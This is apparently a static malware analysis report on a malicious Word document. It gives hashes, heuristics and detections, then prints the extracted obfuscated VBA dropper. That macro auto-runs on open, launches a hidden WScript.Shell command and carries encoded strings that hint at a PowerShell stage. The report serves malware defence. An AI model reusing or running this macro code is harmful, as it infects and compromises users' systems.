Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a778abef08b111e8…

MALICIOUS

Office (OLE)

171.5 KB Created: 2018-03-16 18:00:00 Authoring application: Microsoft Office Word First seen: 2018-03-24
MD5: 8e47475b10585077070d17e495ae1469 SHA-1: 81c490030b4f42bdfb7452e04ac30963d9216fcb SHA-256: a778abef08b111e82af62a08b787a86c373c76b89ad88ff2efa99677f4a14c2f
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains VBA macros that utilize WScript.Shell and CreateObject, indicating an attempt to execute commands or scripts. The presence of 'AutoOpen' and 'WScript.Shell usage' heuristics, along with the ClamAV detection of 'Doc.Malware.Emodldr-10025032-0', strongly suggests this is a downloader or dropper. The script's obfuscation and reliance on external execution mechanisms make precise family attribution difficult.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          pvYvHh = UmsPf / ZBusX
      ilicGYcwD = "WScript.Shell"
      YKBPSM = UXEdz + vAUXdq
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          hhOto = wVFPz + oiljrX
CreateObject(ilicGYcwD).Run HUJNib + Chr(VBA.vbKeyC) + zFdTRTEPctz + LwvoZdcliiZmRS + rbALCsGnXmsvV, vbHide
      YTkRqE = Hex(ZRpTPC / Int(91833))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "aALGJhULr"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35019 bytes
SHA-256: 8a543a7666586a98b61752309ce7d4bfc8c2e142e47e160f9188f020e48c1815
Detection
ClamAV: No threats found
Obfuscation or payload: likely
652 of 1082 identifiers look randomly generated (e.g. 'UaBDAjBgMAcDA5AgZAUDAzAgMAADAwAgNAUDAiBw') — consistent with name-mangling obfuscation. Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "DmWXkdZH"
Function XiECIbRiJNmi()
On Error Resume Next
      nHKdcc = Hex(qhaWEu / Int(90030))
      hpnEv = Qibfbm / MEijz
      kMajI = FzfQv + LLrFHv
bmENtzBiqv = TzCVNt("SSS.B7GAlBQYAADA2AgMAQGAiBwYAIGA2AQZAQDA4AwNAIGAkBAZAcDA3AAZAQDA4AQZAQGAjBAMAQGAhBANAADA1AQNAkDAkBAMAEGAyAQYAMGAmBAMAADAiBAOAMGA5AQYAIGAwAQNAQGA3AANAMGAyAgMAgDA4AgNAUGAlBwYAQGA4AgZAMU6f", 4 + 0, 176 + 0)
      kCXdiz = Hex(pGicw / Int(75260))
      hKnHI = iprkNj / QafHzj
      NKNjr = IfwUDT + bdBDz
      wmTZJm = Hex(nfUcaZ / Int(44440))
      OLVwM = ZbXjs / NFjiO
      jwDkO = ijsSVW + GXpNLA
GCXZww = TzCVNt("IzAOAADi7GS6", 6 + 0, 5 + 0)
      NqYLvp = Hex(ajivm / Int(27960))
      saWdz = PcJGG / wloYs
      icvqY = pZfHCK + iIVNz
      wrtrtn = Hex(iisWbL / Int(91090))
      MUbqB = WEtPsY / moiopT
      wBwmbd = Bqipv + kVrVp
MjpozFsszC = TzCVNt("zJB%RAQPAcHAvBAaAcDAKBgYAkEA0BwdAoHA5BgQw", 2 + 0, 35 + 0)
      RanAb = Hex(OostJ / Int(65252))
      swVKVo = YXVOO / zXGRwN
      jBYJBX = NoLHjw + CEPKW
      BzDajn = Hex(GCCzuX / Int(52555))
      tsZzQQ = VDmZbb / wIsYI
      tRDYjB = TMLPO + jBkvjL
ioCftZwZowi = TzCVNt("UaBDAjBgMAcDA5AgZAUDAzAgMAADAwAgNAUDAiBwNAUGA3AQMAIDAiBQYAkDAzAwNAEGAwAANAIDA2AAZAkDAjBAZAUGAlBQZAEGAxAwNAMDAlBgYAIDAjBANAcDAxAwMAQDAhBAOAIDA3AwYAkDAyA2UR", 4 + 0, 148 + 0)
      LbAoK = Hex(NAGtG / Int(43368))
      kBcoA = PCWJs / LwuEM
      MMwiR = POXnN + SEszs
      aQkBbW = Hex(JWpEiw / Int(55114))
      SRvJV = WJXpMc / OCqXK
      JWLMul = KzqXpp + qmwhE
UWAGuF = TzCVNt("T2wNAYGAxAANAEDA2AAOAUGA3AQNAIDAzAwYAUDA4AgYAIGA2AQMAMGAyAANAADAhBQOAMDA1AAMAIGAzAgMAYDAmBAMAEDAkBwMAADAwAQYAYDA3AAMAYGAzAgZAQGAxAAMAcDAyAANAIDA2AAZAIDAjBAOAQGA4AQYAQGAmBE.SB", 5 + 0, 167 + 0)
      uDGMMO = Hex(fuTzjT / Int(11701))
      vGFBX = nZSzzW / LbEIS
      vFQzAf = NPdqrW + quftjj
      DVRhRW = Hex(jdftOw / Int(4062))
      WPlrF = RjDjOq / JiBaBr
      CXiiQ = ChZpp + AwhAp
CnfSllN = TzCVNt("i4SGZ28AMDAhBwNAkDA3AAMAMDAzAgNAMGA5AgZAADAkBAZAYGA3AANAMGA0AQZAQDA1AwMAgDA1AQMAgDAzAQOAUGA4AwMAIGAmBgNAUDA5AgMAYGAiBwYAEGA3AAOAEGA5AAMAUDA4", 2 + 0, 132 + 0)
      SsloN = Hex(DjBWud / Int(37969))
      GqVzl = awqjH / uLpbc
      LIjwaN = jfkFf + wWcwKc
      fbkvNb = Hex(jhUbj / Int(59177))
      KLOoG = JDsKh / jhmPj
      CqNhiG = OkpZQ + cwzij
tVmOHMp = TzCVNt("i6sdbQNAADA1AwMAYGAiBgZAkDAmBAMAUDAxAQNAYDAzAwMAEGAwAAMAUDAjBQNAEDA3AAOAEDAkBgYAADAyAwNAEDAwAAMAIGAzAQNAADAjBm", 2 + 0, 104 + 0)
      aFbTbj = Hex(NJsou / Int(35183))
      whnocj = arjUd / JEHkzF
      JWaXlw = tEWwu + fDuIK
      btOmm = Hex(UFcTzs / Int(60240))
      GRSjv = OVzMji / zjNWul
      Mwupm = JnhGcS + dzRcCh
ZEsBtO = TzCVNt("Ud4AEHAJBwYAEGAxAQcA0GAsBAUAEFA8BgM5435a05061b3143240f3476111d29467'($(ISnAColL,wS", 4 + 0, 76 + 0)
      FFvBFH = Hex(XZPzFG / Int(47638))
      HWduN = aorkO / HzPlT
      zAHDs = iomORI + MGUqu
      CKDCBt = Hex(THiEj / Int(98842))
      UWFhT = tCwjYD / EAPvM
      XfIjND = ZQLLPT + BdrjKz
zickmzP = TzCVNt("J,i,152,212,211,741,671,912,17 YeK-  gNiRtsErUCES-OtTReVNOC|'==AA1AgMAkDA3AQYAYDA4AgZAQDA4AQMAcDA2AANAEDAkBQNAUGA5AQZAIGAwAgYAEGA3AANAAzwR", 4 + 0, 132 + 0)
      lANWd = Hex(kRSsns / Int(7217))
      jMnsiU = dqlRE / HaJfl
      dmiuM = EOHzTY + QOURE
      KhzUw = Hex(TBqRq / Int(3723))
      aVJbFz = oBjCu / hzhji
      uQOlz = kBFKl + ZKmLT
XdnqCw = TzCVNt("c8lBAOAUDAkBgNAQDAmBwYAIGA4AAOAEDA3AwYAgDAyAgYAQGAjBgMAkDAiBQNAgDAyAAZAIGAkBwNAQDA2AgNAQGA0AwMAYGAyAgZAIDA3AAMAADAhBgMAQGAmBQYAkDAzAwMAUDAmBgNAYGAyAQZAIDAmBAOAwHA9BJmBV", 6 + 0, 161 + 0)
      dSzok = Hex(wzZZX / Int(41432))
      HiQHh = jJSVw / iPOdk
      WdIFPa = jFmCj + ikqil
      zRGBSi = Hex(stYplo / Int(50239))
      JJCfi = HlUfmD / FvjnV
      vOVRzX = CsjlBw + LwzwbZ
rPuou = TzCVNt("nUJz7MAOAkDAzAAOAQDAyAgZAgDA4AwYAUDA0AwYAYDAiBQYAQGAmBAZAEGAxAANAMDA0Ag%7G", 4 + 0, 65 + 0)
      pjmVf = Hex(TnwpBQ / Int(82886))
      sosCIB = OCiiq / wHzmM
      sFijvU = KPutkk + NSKEu
      DZbSEc = Hex(KVrljm / Int(82299))
      YiaGZP = zlizUU / BfNHad
      fCAUaG = rViKF + VXwmiQ
AvhizpZlzNR = TzCVNt("tGANAUGA2AgZAADA0AwMAIDAmBAZAIDA2AgYAUGA4AANAgDA4AQOAEGA5AANAEDAwAg6.Gir", 6 + 0, 65 + 0)
      apoGI = Hex(PTMYZ / Int(22343))
      psjZl = IWIPzn / VYdha
      KTYpOu = QqDfz + wsJdr
      GSEcR = Hex(rYSVLP / Int(93868))
      MLSIf = wwCJdc / wlinh
      WpXQLr = mwKbs + bwmBs
wzVqKjO = TzCVNt("uc,iOrifAQDA0AQYA6", 2 + 0, 9 + 0)
      NGJIPv = Hex(oasmkh / Int(58960))
      aMovG = WKzoa / WBNMk
      ITiMhH = MChuM + tNhAk
      QNlJz = Hex(CaiMz / Int(97840))
      WzANu = HYILMz / jwoqpV
      ZpCsiC = dBWvdo + OQWcj
MiDcSXz = TzCVNt("Ufa8cDAyAQMAMGA2AgNAMGAhBgYAEDAkBAOAMDAkBQMAYDA0AQYAQDAyAwNAMDAjBQZAQDA5AQYAUDAmBQMAIDAwAAZAYGA1AAcK", 3 + 0, 94 + 0)
      woICZ = Hex(SjDls / Int(43535))
      MojwHi = riXmQj / HVhSO
      Nplhz = XkwZP + YzbjhT
      BRBin = Hex(LmiJBM / Int(15967))
      BftFqi = jcHLwS / BoKuj
      GRBzvm = DzMNw + LFosU
VOouJawb = TzCVNt("8JzMAEGA2AQZAUGAiBAOAIGA5AgYAgDAiBQYAMDAyAAMAYDAiBQYAIGA2AgZAYGAxAwMAMDA3AwNAEDAmBQNAQGA0AwNAkDAlBgNAIDAlBQMAEGAwAQZAUDAwAAOAIGAxAwYAYDA3AQOAMGA5AANAMGAwAgMAQGA3AgYAIGAlBAMAUDAjBQYAEGA5AQOAgDAzAAOAUGAk7JG", 4 + 0, 198 + 0)
      lmUpu = Hex(oRoku / Int(98118))
      fVckd = JEQXjP / OtHSNw
      dvAlbH = HUZSF + GQjiV
      NKitGO = Hex(qZmIT / Int(95531))
      SuhkO = Xmwbld / FaXibJ
      QVjwF = TRDrBs + CsqEoG
YzjlJQsUtJI = TzCVNt("i4JGDA1AgZ.pB", 4 + 0, 6 + 0)
      HbNGH = Hex(SzPBHh / Int(19321))
      twOjf = GFiEat / tNkTq
      mSpIZ = cHUBCj + iCIwb
      HowPzz = Hex(iMCwz / Int(7011))
      IWUaSq = jLSYi / MziizI
      wTpNG = aOzlbE + GMAQI
bZfTwEY = TzCVNt("7U4wYAYDA2AgZAADAwAgMAgDA1AANAQDA3AgNAIDAlBAMAADAhBQMAYDAxAAOAcDAhBAZAIDA4AgYAQGA2AgYAIGA0AQMAgDA1AAOAIDAmBANAQDAiBgYAQDA1AwMAADAiBgZAcDAlBQMAcD4K", 3 + 0, 140 + 0)
      LSYdir = Hex(BsjiT / Int(96665))
      tkphGU = QGjZqU / ozzRZ
      zrYqL = lmhfV + dNbWW
      QtiEj = Hex(nKIFk / Int(65552))
      bpsJrw = zjZsFQ / bAiKzp
      FSHVLC = RlKSWb + CfSVC
wVFkJKf = TzCVNt("f8uAzAgNAYDAmBANAUGAxAQMAMGAhBgZAMGA4AQYAIGAkBQMAEDAmBwYAUDAlBQYAMDAhBQMAcDAhBgNAMGAiBwMAMGAjBQNAMDAmBQYAUDAlBAOAIGA5AwYAYDA5AQMAQGAkBANAYGAwAAZAQDAyAQMAMDAwAAOAADA0AwNAIDaz7", 4 + 0, 168 + 0)
      LjUmz = Hex(aMJZu / Int(75389))
      kVWlof = IfuPai / hYUQpu
      kWwVWs = PIMPfd + ujudpI
      jEqju = Hex(zuwzbo / Int(85884))
      fciDjD = RwdfYB / JhDaOI
      dPMUwI = LwroO + vEnBw
dEIkiTkFsiX = TzCVNt("rFpaGAwYAMGA0AAMAUGAzAAMAUDA3AQOAQDAzAAMAgDAiBQNAADA0AAZAQDAyAQMAQDAhBwYAMGAjBgZAEDAzAQZAEGAzAQZAkDAkBwNAUGAiBAZAIGAyAQZAkDAyAANAEGAlBQMAkDA2AwMAUDAhBAOAMGAzAQNAADA1AgMAcDA5AQZAEGAhBAZAQGAw.", 3 + 0, 183 + 0)
      bPGNDW = Hex(VlPtA / Int(50115))
      QBNSik = VFBmqK / jFtCcb
      PXCIwX = ZvDqOd + trVSNt
      JClmcM = Hex(nYhMC / Int(26627))
      THLvKF = ubcEJz / CCwwi
      cGNUD = aPikk + vTHoB
iqDjT = TzCVNt("utU%55,181,122,37,431,632,451,691,431,732d%4", 4 + 0, 37 + 0)
      CtwOaI = Hex(SMFkWl / Int(26891))
      rUMtq = miQQqr / OjsOAH
      oXNfEl = MViIzW + DzvvKw
      AiVVPH = Hex(piMkWq / Int(37635))
      ZCqjnh = DHDTAF / dFDOvF
      TXjNS = hrvvu + iSiKVn
oGUBUwKlz = TzCVNt("a6YGAxAgNAYDA2AQOAMDA4AwYAcDA28wp2", 6 + 0, 27 + 0)
      HbNRw = Hex(VqEGj / Int(15979))
      NfFiKS = XLMMH / OWjvu
      aiwoGG = GwTdkO + zYDMEA
      MQubN = Hex(cuODjO / Int(74595))
      GGKUmP = onBHN / RVBHt
      RwwSEM = QqwjTa + VZiHw
pFBElzllkY = TzCVNt("4JK6ZAUGAyAgZAMGA3AgMAkDA4AAMAcDAiBAOAYDAwAAMAIDAwAAOAADAwAgYAYGA5AgZAcDA5AAMAkDAzAgZAYDA1AgYAEGAzAwNAIDA5AAMAEDAjBQNAYDAmBANAMGAxAwNAgDA2AgMAQDAhBgz8Y.w", 6 + 0, 144 + 0)
      JNXcsT = Hex(mKYNw / Int(81561))
      VlJnGH = wQqEih / qrmtK
      YEYUZ = LGFRlm + tqjQuB
      QIDkjz = Hex(MbTwJ / Int(26455))
      KzWUtm = jmoPAi / JJZKfp
      wuEGsh = pqzAI + pWNIM
mOBoF = TzCVNt(",r,AMDAyAQMAgDA3AwMAYGAiBgNAMDA4AQZAMDA3AQNwi,84z", 7 + 0, 40 + 0)
      whVPVi = Hex(fCSul / Int(57346))
      zNERO = Ectwp / sfrnv
      zwtIb = jXcCLW + NXkEbR
      KinUX = Hex(CzBObc / Int(74325))
      zvWDc = NwjrB / NXiCpE
      IrEni = svPhvw + jkCNi
umqTUALJ = TzCVNt("aW4.GuDA3AQOAUDAzAAOAMDAzAQYAADAyAgYAEDAyAgNAgDA1AgZAEGA3AQNAUGA1AQYAcDAjBAOAEDAlBQOAUGA0AwYAQDAlBgZAYDAyAwNAYGA0AgMAYGA5AQMAMGA7mt", 4 + 0, 122 + 0)
      INrLC = Hex(TtTfQz / Int(47654))
      EiduI = JkKzRk / jtdUVU
      vKQjC = PAYPwi + ZNFGI
      LIZsJd = Hex(vjsYAw / Int(25973))
      dCMLAb = fNPnNE / ziviA
      GNdqiQ = iMFOQG + BCdrl
uTHFdzkcJ = TzCVNt("6 7DR6YAIDA1AAOAMGAhBAMAcDAzAAOAIDAkBQNAEDAyAgZAUDAwAwMAYGAkBQZAMDAwAQNAgDAzAQNAQDAlBgZAgDAxAQZAYGAhBQOAQDAjBAZAgDAhBAZAUGAiBgYAMDAiBQYAQDAkBgZAkDAlBwYAMiY", 3 + 0, 147 + 0)
      kdLdW = Hex(mXiOc / Int(34930))
      PqPZWc = bwTIBX / BWuAD
      kNdCAU = ibvzc + UqMmdH
      cuOAj = Hex(LZsmcd / Int(85700))
      pJMnjz = ndbBa / zIlNR
      wLELE = FkPtC + tCOEIJ
UrVzVmbadjt = TzCVNt("qi4izD.SNAQDA2AANAMDAmBAOAMGAyAANAEGAmBQZAUGA0AQZAYDA4AgMAIDA3AQOAQGAlBAOAMDA1AQYAUDA5AgYAcDAzAQYAIGA0AwNAkDA2AgYAYDAmBgYAMGAiBQNAEGA2AAOAYDAzAQNAUDAiBgZAIDA1AANAEDA2AgYAEDA0AgYAUDAyAwM2", 2 + 0, 177 + 0)
      CZGpRn = Hex(FjMRHY / Int(21351))
      wRlwHO = OrtajH / Euzbf
      dpVnX = TZYwm + jTGzTJ
      oJGjM = Hex(LISRGD / Int(14308))
      mWwFk = FJUdO / BDjqT
      WXLPNk = qiClz + nUjvi
Fppiql = TzCVNt("J72ZAYGAjBAZAgDAhBQMAEGA4AQMAgDA0AANAgGnv7,R", 7 + 0, 35 + 0)
      akwFfp = Hex(VIzHYc / Int(95495))
      hkNXIO = uUCXVP / kUIAJt
      aRjakO = sbiJB + GkTXZS
      IqBfT = Hex(RSXWTU / Int(65491))
      JaYiP = iiHlt / nNIOJ
      rNfkzn = CPMWc + GpOFX
YOdWCXFsRD = TzCVNt("wKBFicAwAwNAIDA5AgMAcDAz6BT", 4 + 0, 18 + 0)
      FLrWd = Hex(QmOwEK / Int(17613))
      mdUiY = lVNBVI / TmOYIl
      DWzqB = iAwDL + MOfcU
      YfZojM = Hex(KDsSl / Int(21529))
      jIHHK = LswvtJ / YiCzk
      woJaus = miCoBw + kIMhtN
XXSznOm = TzCVNt("RSGgDAwAQOAUDA2AAOAMGAiBgMAQDAzAgMAYDA1AgMAIGAkBwMAQGAyAQYAEDA0AgYAcDA3AwYAkDA4AQOAQDA0AgYAIDA3AgYAQDAzAwYAYGA2AANAADA0AwMAEDAhBgZAUDAjBgZAIDA0AAOAYGAjBQNAgDA4AANAMGAhBQZAcDA2AQNAUDAkBgZAIGAxAAMAYDAzsUR", 4 + 0, 196 + 0)
      XfiiuW = Hex(zjBthq / Int(23913))
      ZhMOj = hqIuvQ / PSUGWN
      JbwzWb = wBuTIh + iiUii
      BzzUGR = Hex(mBzus / Int(78340))
      ciToD = rwzJnu / WwUmUv
      UrHfG = FlIFfo + vjVVI
oJVJNfkD = TzCVNt("cS2A4AQOAMGA5AgZAUGAkBANAEDA0AAOAADAxAAMAEDAkBQZAUGA5AANAMDA1AwNAMGAhBQMAIDA1AgZAMDA0AgNAQGA5AQN7Usn4.", 7 + 0, 93 + 0)
      YlFAp = Hex(LakphK / Int(49873))
      fCkWoi = jGntd / Xwpbzd
      XYPrS = uRUvbu + rssww
      IqcSlr = Hex(swqidQ / Int(60182))
      atdRo = MWzfkw / ZPuvOG
      jrlWw = QbLBkN + imwfj
wNTpriR = TzCVNt("Uq7siBQNAgDA3AgNAEGA3Agw776", 5 + 0, 19 + 0)
      jwUimB = Hex(OTjvnO / Int(19599))
      ZiHGVC = kKwuWw / nSPOcW
      PNwVD = zsPOW + bJDpY
      LfQRLs = Hex(ENjAvD / Int(17699))
      waqfmf = LVmsUr / jtsfsi
      FDDGh = NFvsn + EZzOK
tNzXEqi = TzCVNt("6EzvVhBQNAUDAzAwNAYGAkBwNAEDA5AgNAIGAlBANAEDAiBwMAgDA5AwYAgDAzAQNAUDA3AwYAUGAxAgZAEDA2AwNAcDA4AgZAUGA4AAOAUGA5AAZAIDAwAQNAEGAyAwYAEGAiBQOAEGAjBgZAQDAjBQNAkDAmBzG,", 4 + 0, 154 + 0)
      OfUui = Hex(YvLip / Int(16617))
      KaQqX = YFYSFZ / FHnTlf
      QdDDKY = ilwiPm + cloiaa
      LjZpYu = Hex(amhHXi / Int(67724))
      ARZMPH = mWVzG / hlChD
      QrWAp = oHhDnl + zViaT
PczOCMlB = TzCVNt("i6cPAQGAkBANAQDA1AwMAADAmBQYAADAlBs4z", 4 + 0, 30 + 0)
      IjstC = Hex(anitB / Int(59485))
      TWSri = kdaAl / jjYHfC
      iMucX = TjOuGN + YNRCji
      EKoJUQ = Hex(OjUZN / Int(79936))
      NdkNz = PqCifI / iDdJj
      HhfjF = whmNds + QmaJN
aSLPifbdzo = TzCVNt("c6znSUB2AgNAEGY8", 3 + 0, 7 + 0)
      PGONHK = Hex(LOjLGK / Int(87001))
      ihiuf = zNcdZ / NsOItQ
      QzsTYY = cjAbHS + KhErPh
      iUWrnj = Hex(sDUOAR / Int(36210))
      kFSAbW = PLzzs / UMjvA
      LNWmU = urLGY + rYYDB
mXMLMNKXV = TzCVNt("YG5AgZAYDAxAQZAIGAyAgYAUDAzAQMAYDAlBgMAcDAjBAZAEDAxAANAcDAzAwMAEDA7rEK28E", 8 + 0, 64 + 0)
      bZLKEL = Hex(onQYrl / Int(36815))
      HHVOS = jhfIJm / HUwQKz
      bwBIL = fjiSUV + LkQCp
      VnsBzF = Hex(qvsFo / Int(33648))
      fuAmGu = mwmfk / iwlFp
      dwGwR = BSkPY + rmktv
HvwnFNFjw = TzCVNt(",fKuRAwNAkDAiBANAEDAzAwMAADA2AAZAEDAmBQOAQGA1AwYAYDA1AgMAIDAlBgZAgDAhBF.", 3 + 0, 65 + 0)
      SsVQir = Hex(WPzru / Int(18469))
      QRntYz = ZFcfXY / ozVoA
      mzBMPP = uzBaqF + CZwqVz
      zZMCb = Hex(fdtYAi / Int(9380))
      RGMYbZ = jLPlt / ZoEVf
      BYnzop = ENBUj + Othcfw
odrPRir = TzCVNt("JjOAEDAyAAZAMGAlBAMAkDA2AwNAIGA5AAMAADAmBQZAQGAlBQYAQDA5AwMAUDAyAgMAEDAhBgNAYGAmBQMAcDAyAgYAEGA1AwYAQDAiBwMAYDAiBQMAYDAlBgYAQGA5AgNAQDA4AgGtWIMv", 7 + 0, 136 + 0)
      jqTOzQ = Hex(mGooDV / Int(15116))
      CdGXi = UDiqj / iRrMZ
      AqLEZ = XHhwY + RLdLq
      XrpSiC = Hex(sZOli / Int(36277))
      hJzhpZ = UfiRs / wNQQJ
      CNwXC = wBOOj + ZEMIk
kIXfvjCjf = TzCVNt("diGc8lBwYAEGA3AQNAUDAjBAMAUDA0AgMAIDA0AgNAkDAjBwMAQDAwAwNAMDA0AAOAQDAxAgMAMDA2AQZAEDAmBQZAEDAwAQOAMGA2AgNAMDAhBQYAcDAlBgZAEDAlBgZAYDAxAgZAEDAjBgZAADAwAANAcDAwd", 2 + 0, 153 + 0)
      NkNkDL = Hex(BqARf / Int(16459))
      bYQZim = XsXwGw / rnqpcc
      ZwRKn = AUwji + miAom
      XkDmK = Hex(iaSUTK / Int(59257))
      EmcmFE = TDZMf / HcNGBT
      Iqtzj = qVmMw + biTKDj
jbzwHjoq = TzCVNt("U.26fEAlAboLGOtGniRtserUCes::]lAhsram.seCIvREspORetNi.EmiTnUR[(ekovni.)emAN.]0[)(sRebmemTeG.]lahSraM.secIvResPORetnI.eMITNUR[(::]lAHSram.SECIVReSpoREtnI.EmitNur[(( )'x'+]03[EmoHSp$+]4[EmOhsP$ ( &S8", 3 + 0, 189 + 0)
      RiDji = Hex(fpbwE / Int(27743))
      qGaOs = ClNwhr / TDNoSK
      lBqEJ = ZEiPX + wjDVDF
      kVDWh = Hex(luCcb / Int(68349))
      NIhrs = WCcjk / NcGYW
      uNWmNV = iKLNoQ + USzstz
viCzihTsV = TzCVNt("GUOKQZAYGAzAQOAQDAyAwNAEGAyAgMAEDAp8z", 4 + 0, 30 + 0)
      bPOHl = Hex(zUjiV / Int(61445))
      hVqauM = OBKpo / tDuiO
      WbSzHi = BlJahr + iJwbW
      iiUEM = Hex(jJpfai / Int(71989))
      KXrQFW = mDdZSH / sXuro
      pqjvP = HWzIjO + TTLjO
EbDLOUwXRGv = TzCVNt(",Yf1AgZAcDA2AgYAMGA1AgNAYDA0AQOAUDAmBgZAIDA4AQZAADA5AQNAQDAjBQOAMDA3AwNAYGAwAwNAUGA1AgNAYGA3AANAYDAxAgYAEGAlBwMAADAzAQNAEGAyAAMAEDAmBwYAEDAmBANAQDAmBgZAQGAmBQNAUDA2AQMAUGAiBQYAUDAmBgYAEDA3AwMAQGAiBQZAkDn4wU2", 6 + 0, 198 + 0)
      Oivaqf = Hex(oLRSli / Int(87780))
      kUrvB = PGmvz / FoBjr
      wattQp = VrvFh + zUziz
      SElwp = Hex(fwGopa / Int(29208))
      sDklz = jdEPww / zmizIh
      cPSizv = GAEpIi + fQCauw
LjVQd = TzCVNt("8D67SuGA3AwMAEGA2AQNAQDA3AAOAYDAzAQOAADA1AQOAADAlBwNAkDAf", 2 + 0, 50 + 0)
      pAWArD = Hex(Lcojtf / Int(60320))
      lCmCJZ = AZqUfR / bZOiJ
      OviIrI = YPJOzT + fAosp
      JZhlYX = Hex(kdAuan / Int(10073))
      UzTpjH = HzUvmP / mAkRr
      wYiHLK = WwfEIM + vAWGJi
athoVzz = TzCVNt("BSBgMAEDA2AwMAMDA0AwNAEGAjBAOAgDAjBAMAUGAlBAOAYGAmBgYAMGAwAgNAQDA0AQNAUDAzAQOAkDA3AgYAYGAkBANAADA4AAOAgDA0AwNAIGAyAwYAYGAkBgYAgDAmBAZAcDAkBwMAQGAzAgZAQGA3AQYAUDAhBwYAYDAwAAZAcDAxAS6iJ", 5 + 0, 177 + 0)
      SkQdk = Hex(ZqzKJv / Int(50551))
      wVLdYj = IRQma / PmiiHI
      ioNib = CjwVuN + mziKcl
      zlMjHd = Hex(PZYmpa / Int(54810))
      IUziUv = whbKL / cjEbip
      ovUOBS = OWIME + AoWnM
wCouwRPSUB = TzCVNt("TG6yAAZAIDA3AQZAQDA1AgNAgDA0AQYAADA2AwNAADAkBQOAgDA0AwNAMGAkBQNAkDA5AgYAIGA3AwMAMGAyAQNAUDA0AQYAYGAkBQYAMGA0AQOAUDAxAQOAQDAlBwNAEGA1AQZAIDA5AQNAEDAzAwYAUGAwAgZAYGA5AgNEz.Ss", 6 + 0, 164 + 0)
      pwmfFz = Hex(GnqTK / Int(14795))
      isMAkh = qocYO / HsoMR
      HzzBQ = RjMRY + zETVH
      wBmNtY = Hex(FTZYEF / Int(4521))
      iEjCz = vEdrV / VfINq
      vnNrYp = sVZMH + wVHEiG
rjSYadjM = TzCVNt("d7AgDAmBAMAUDA1AwYAYDAwAQOAYGA5AQNAIDA4AwNAEDAiBANAYGA0AgYAUDA0AgZAYGAiBgNAIGAjBgYAgDAhBAOAYDAzAAMAADA3AwYAYDAhBAMAMGAhBwMAQDAwAgMAMGA4AwNAEGAwAgZAwSuGJK", 7 + 0, 145 + 0)
      QMAwJ = Hex(XWUaL / Int(21490))
      QKPHqj = sGDWsV / WfObZ
      jXimR = CRmYuO + ZLoGz
      KlfCV = Hex(MjJKQM / Int(60783))
      XmVvHH = CEmZlA / vzdbL
      mmnKH = utjALn + STPwWj
XjSOmJTfm = TzCVNt("8KEdJA2AQNAQDA4AAOAkDAxAANAEGAzAQYAcDA1A8.6", 4 + 0, 35 + 0)
      QHhscj = Hex(HkLhoB / Int(32489))
      lwKnc = EWEam / hljzHs
      wiFuiX = mIUSW + ZLhQni
      bkhYK = Hex(ttdjOl / Int(3469))
      AGHdW = mOBPc / QHrRSb
      wlakG = YqwkKF + RkAuBX
vItiiwsHJFL = TzCVNt("S24ZDA1AQOAEDAjBwMAIDAlBQZAIDAjBwMAQDAlBwMAEGA1AgZAMDAiBwNAkDAxAgZAgDAwAgZAYDA0AwMAEDAhBANAYDAzAQNAQDAiBAOAMGAiBwNAIGA4AAZAEDA3AwNAMDAmBAOAQGAkBQMAIDA4AgMAYGA1AQNAMGA5AwMAIGAwAwNAQDA2AANAIDAlBQYAMw7B", 4 + 0, 191 + 0)
      ZRMjR = Hex(NamCMN / Int(74905))
      DSaVBz = TpiqJn / fGwPvS
      jYqTKQ = DuYwSE + SaYAX
      mrnzw = Hex(HfPtpb / Int(76618))
      CEjwfZ = wviUT / GskjF
      VEiVo = wYwjW + mvIidK
iNpTuzNi = TzCVNt("7RrgYAYGAmBAZAcDA5AwYAYDAwAQMAADA3AgNAgDAlBgYAEDAkBQYAQDA5AAOAIDA3AQOAIGAzAwMAEGAwAAOAIGAxAwMAMDA4AQMAQGAjBgMAgDAjBQZAgDA5AAZAMDA3AQOAcDA4AgNAMGAwAgNAEGA2AAOAYGAkBwMAgDA2AAZAIDAhBgNAkDAhBQMAADAjBAMAADVK1", 4 + 0, 197 + 0)
      Jronw = Hex(fiSAm / Int(59369))
      jCSlY = ujjASP / uhYQb
      ZSwhj = iMIij + JEMAk
      biabZV = Hex(XLshhE / Int(84618))
      wfDqd = jAbJQW / iEMtlR
      lzDHH = oARoTG + AGPEc
